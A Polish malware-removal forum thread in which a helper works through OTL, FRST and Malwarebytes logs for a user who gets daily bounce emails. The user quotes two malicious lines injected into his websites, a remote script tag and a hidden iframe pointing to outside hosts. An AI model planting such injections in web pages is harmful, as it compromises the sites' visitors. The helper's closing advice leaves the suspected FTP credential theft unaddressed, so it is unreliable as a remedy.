Podejrzany laptop, zamulony, długa instalacja programu

[drdala]

Witam mam problem z jednym laptopem.
Wydaje mi się że może być zainfekowany... Nawet ja wchodziłem na stronę banku wyskoczyła jakaś dziwna wtyczka... której na innym komputerze nie trzeba instalować.
oto logi
otl http://wklejto.pl/189812
extras http://wklejto.pl/189811

Bardzo proszę o szybka pomoc. Jak wyglądają te logi? Co robić dalej?

[ordynat]

W logach nie ma niczego podejrzanego.
Ale na wszelki wypadek przeskanuj jeszcze laptop przy pomocy > MBAM
Na końcu kliknij na Usuń zaznaczone.

Kosmetyka:
Uruchom OTL i w oknie Własne opcje skanowania/Skrypt wklej to:

:OTL
O4 - HKLM..\RunOnce: [network_smb_linkbucks2] File not found
O4 - HKU\.DEFAULT..\RunOnce: [SPReview] "C:\windows\System32\SPReview\SPReview.exe" /sp:1 /errorfwlink:"http://go.microsoft.com/fwlink/?LinkID=122915" /build:7601 File not found
O4 - HKU\S-1-5-18..\RunOnce: [SPReview] "C:\windows\System32\SPReview\SPReview.exe" /sp:1 /errorfwlink:"http://go.microsoft.com/fwlink/?LinkID=122915" /build:7601 File not found
O4 - HKLM..\Run: [] File not found
O3 - HKLM\..\Toolbar: (no name) - Locked - No CLSID value found.
O3:64bit: - HKLM\..\Toolbar: (no name) - Locked - No CLSID value found.

:Commands
[emptytemp]

Kliknij w Wykonaj Skrypt.
.

Autor postu otrzymał pochwałę

[drdala]

zrobiłem skan malwarebytes
http://wklejto.pl/189821
co robić dalej? usuwać coś przez malwarebytes?

Dodano Dzisiaj, 12:50:
potrzebuje szybkie pomocy

[ordynat]

C:\Program Files (x86)\SnadBoy's Revelation v2\Revelation.exe (HackTool.Snadboy) -> Nie wykonano akcji.
C:\Program Files (x86)\SnadBoy's Revelation v2\RevelationHelper.dll (PUP.PWSTool.SnadBoy) -> Nie wykonano akcji

Jeśli te powyższe instalowałeś sam, to je zostaw.
Pozostałe do usunięcia.
.

[drdala]

zrobiłem malwarebytes zaznaczyłem wsyzstko i usuń zaznaczone:) nie wiem czy dobrze zrobiłem ale raczej wszystko było mi znane
http://wklejto.pl/189825
teraz wykonuje skrypt który mi kazał ordynat

Dodano Dzisiaj, 13:41:
po sprzątniu otl
http://wklejto.pl/189827
coś jeszcze mogę zrobić?

[ordynat]

Tego SnadBoys'a możesz z powrotem zainstalować.

Zamiast Files Frog Updater możesz zainstalować Software Informer, choć nie wiem, czy Software Informer zastąpi Files Froga, bo znam tylko Software informera, a w ogóle nie znam Files Frog Updaeter'a.
http://software.informer.com/landing/

coś jeszcze mogę zrobić?

Pod względem "wirusowym" - nic więcej.
.

[drdala]

Witam robiłem ten skan itd. ponieważ cały czas przychodzą dziwne maile.
Tak one wyglądają:
http://zapodaj.net/4596cd1a641d9.png.html
http://zapodaj.net/3f21ae6b709e0.png.html
http://zapodaj.net/09bc644a1c004.png.html
http://zapodaj.net/432ce8f979300.png.html
http://zapodaj.net/e8f727720e8dd.png.html
Co mam z tym problemem zrobić? Jak go rozwiązać? Dlaczego w ogóle przychodzą takie maile? Co jest tego przyczyną? Jest tego naprawdę sporo około 20-30 na dzień

[ordynat]

To są zawiadomienia o tym, że e-maile wysłane z Twego komputera nie mogły być dostarczone do adresata.
Pytanie tylko, co wysyła te e-maile z Twego komputera?
Ponieważ w logach nie było niczego podejrzanego, to użyj > MBAM
Na końcu kliknij na Usuń zaznaczone.
Podaj z tego raport.

Autor postu otrzymał pochwałę

[drdala]

Do niedawna tego nie było. Miałem zapisane hasła w FilleZilla i pewnie jakiś wir się dostał na serwer.
podczas kopiowania stron na pc f-secure znalazł takiego wirusa

gdy klikam info wyskakuje strona
http://www.f-secure.com/v-descs/trojan_iframe_bmy.shtml
już mam raport z drugiego komputera na który tez przychodzą te maile bo skrzynka jest na 2 kompach
otl drugiego kompa - http://wklejto.pl/190083
extras drugiego kompa - http://wklejto.pl/190084

co do mbam przecież użyłem już go na pierwszym kompie i umieściłem w tym poście
podejrzany-laptop-zamulony-dluga-instalacja-programu-vt139022.html#p1001996

Dodano Dzisiaj, 12:42:
Na niektórych stronach zamiast

Kod: Zaznacz wszystko

<sCript src=http://millerusa.net/694753.js></sCript>


- który spowolniał mi scrollowanie stron ponieważ można było scrollować dopiero po pełnym załadowaniu strony usuwałem go i już było dobrze

ale na innych stronach jest

Kod: Zaznacz wszystko

<iframe name=Twitter scrolling=auto frameborder=no align=center height=22 width=69 src=http://mwola.com/post.php?id=694753></iframe></body>

co to jest? może to ten wirus

[ordynat]

C:\WINDOWS\System32\winzvprt5.sys

Sprawdź ten ukryty plik na --> JOTTI/ albo na VIRUSTOTAL

[2014-01-30 11:40:04 | 000,000,374 | ---- | M] () -- C:\WINDOWS\tasks\At7.job
[2014-01-30 10:15:05 | 000,000,374 | ---- | M] () -- C:\WINDOWS\tasks\At5.job
[2014-01-29 14:30:04 | 000,000,374 | ---- | M] () -- C:\WINDOWS\tasks\At4.job
[2014-01-29 14:30:00 | 000,000,374 | ---- | M] () -- C:\WINDOWS\tasks\At8.job

Nie wiem, co to za Zaplanowane Zadania.
Zrób logi z FRST http://www.fixitpc.pl/topic/61-diagnostyka-og%C3%B3lne-raporty-systemowe/#entry119294

.

Autor postu otrzymał pochwałę

[drdala]

aktualnie robię pełny skan w MBAM
jak skończy się zrobię co karzesz i pokaże wyniki z MBAM

Dodano Dzisiaj, 14:26:
W między czasie zrobiłem skan FRST na komputerze z którego było logowanie na FTP żeby sprawdzić czy nie ma na nim nic podejrzanego
http://wklejto.pl/190091 - FRST
http://wklejto.pl/190092 - Addition
Jak on wygląda?

[ordynat]

Nic podejrzanego.
Kosmetyka:
Otwórz Notatnik i wklej w nim:

CHR HomePage: hxxp://www.qvo6.com/?utm_source=b&utm_medium=cor&utm_campaign=eXQ&utm_content=hp&from=cor&uid=HITACHIXHTS545050B9A300_100606PBN40417H5DVYEX&ts=1380810529
HKCU\...\Run: [FBackup 5 Tray Agent] - [x]
CHR HKLM\...\Chrome\Extension: [dchmpbaclbiioedakpcldenooikekokm] - C:\Users\Dala\AppData\Local\foxtab_speeddial.crx [2013-11-02]
CHR HKCU\...\Chrome\Extension: [dchmpbaclbiioedakpcldenooikekokm] - C:\Users\Dala\AppData\Local\foxtab_speeddial.crx [2013-11-02]
C:\Users\Dala\AppData\Local\Temp\ggdrive-menu.exe
C:\Users\Dala\AppData\Local\Temp\ggdrive-overlay.exe
C:\Users\Dala\AppData\Local\Temp\installstats.exe
C:\Users\Dala\AppData\Local\Temp\LMkRstPt.exe

Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Fix. Powstanie plik fixlog.txt.

Autor postu otrzymał pochwałę

[drdala]

FRST zrobione...

teraz pokażę log MBAM z 2 komputera
http://wklejto.pl/190120
usunąłem wszystko

[ordynat]

MBAM nie wykrył infekcji - wykrył tylko PUP'y czyli sponsorskie, reklamowe śmieci.

miały być jeszcze logi z FRST z komputera, na którym są nieznane Zaplanowane Zadania (At*)
.

Autor postu otrzymał pochwałę

[drdala]

tak ale niestety teraz nie mogę zdalnie się do niego dostać... widocznie coś TeamViewer się zawiesił.

Dodano Dzisiaj, 14:25:

miały być jeszcze logi z FRST z komputera, na którym są nieznane Zaplanowane Zadania (At*)
.

Mam log FRST z komputera na którym były zaplanowane zadania (At*)
http://wklejto.pl/190232
Additional http://wklejto.pl/190234

[ordynat]

Te Zaplanowane Zadania to od Twojej drukarki.
Usuniemy je, bo nie są potrzebne.

Otwórz Notatnik i wklej w nim:

HKLM\...\Run: [] - [x]
MountPoints2: {58901848-2adc-11e0-a7b8-00e04c008520} - H:\kf117a.exe
H:\kf117a.exe
URLSearchHook: HKCU - (No Name) - {B922D405-6D13-4A2B-AE89-08A030DA4402} - No File
BHO: No Name - {B922D405-6D13-4A2B-AE89-08A030DA4402} - No File
Toolbar: HKCU - No Name - {0B53EAC3-8D69-4B9E-9B19-A37C9A5676A7} - No File
C:\Windows\Tasks\At4.job
C:\Windows\Tasks\At5.job
C:\Windows\Tasks\At6.job
C:\Windows\Tasks\At7.job
C:\Windows\Tasks\At8.job
C:\Documents and Settings\Biuro_Woodland\Local Settings\Temp\EPCPSetup.exe
C:\Documents and Settings\Biuro_Woodland\Local Settings\Temp\FP_PL_PFS_INSTALLER-1.exe
C:\Documents and Settings\Biuro_Woodland\Local Settings\Temp\FP_PL_PFS_INSTALLER.exe
C:\Documents and Settings\Biuro_Woodland\Local Settings\Temp\GoogleChromeInstaller.exe
C:\Documents and Settings\Biuro_Woodland\Local Settings\Temp\jre-6u39-windows-i586-iftw.exe
C:\Documents and Settings\Biuro_Woodland\Local Settings\Temp\jre-7u21-windows-i586-iftw.exe
C:\Documents and Settings\Biuro_Woodland\Local Settings\Temp\jre-7u25-windows-i586-iftw.exe
C:\Documents and Settings\Biuro_Woodland\Local Settings\Temp\jre-7u45-windows-i586-iftw.exe
C:\Documents and Settings\Biuro_Woodland\Local Settings\Temp\siinst.exe
C:\Documents and Settings\Biuro_Woodland\Local Settings\Temp\strings.dll
C:\Documents and Settings\MarcinW\Local Settings\Temp\CCP11s.dll
C:\Documents and Settings\MarcinW\Local Settings\Temp\jre-6u37-windows-i586-iftw.exe
C:\Documents and Settings\MarcinW\Local Settings\Temp\jre-7u21-windows-i586-iftw.exe

Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Fix.

.

[drdala]

ok co dalej?

Dodano Dzisiaj, 13:15:
oto wynik po fixie
http://wklejto.pl/190610

[ordynat]

ok co dalej?

Kończymy (bo nie masz żadnej infekcji):
Otwórz Notatnik i wklej w nim:

DeleteQuarantine:

Plik zapisz pod nazwą fixlist.txt i umieść obok narzędzia FRST. Uruchom FRST i kliknij w Fix.
przez SHIFT+DEL usuń pozostały folder C:\FRST

W OTL kliknij na przycisk Sprzątanie - to go usunie razem z jego Kwarantanną.
.

[drdala]

ok

Dodano Dzisiaj, 15:23:
Codziennie o 15:51 przychodzi jeden mail

[ordynat]

W takim razie zlikwiduj wszystkie Twoje konta pocztowe, i załóż jakieś nowe.
Może to pomoże?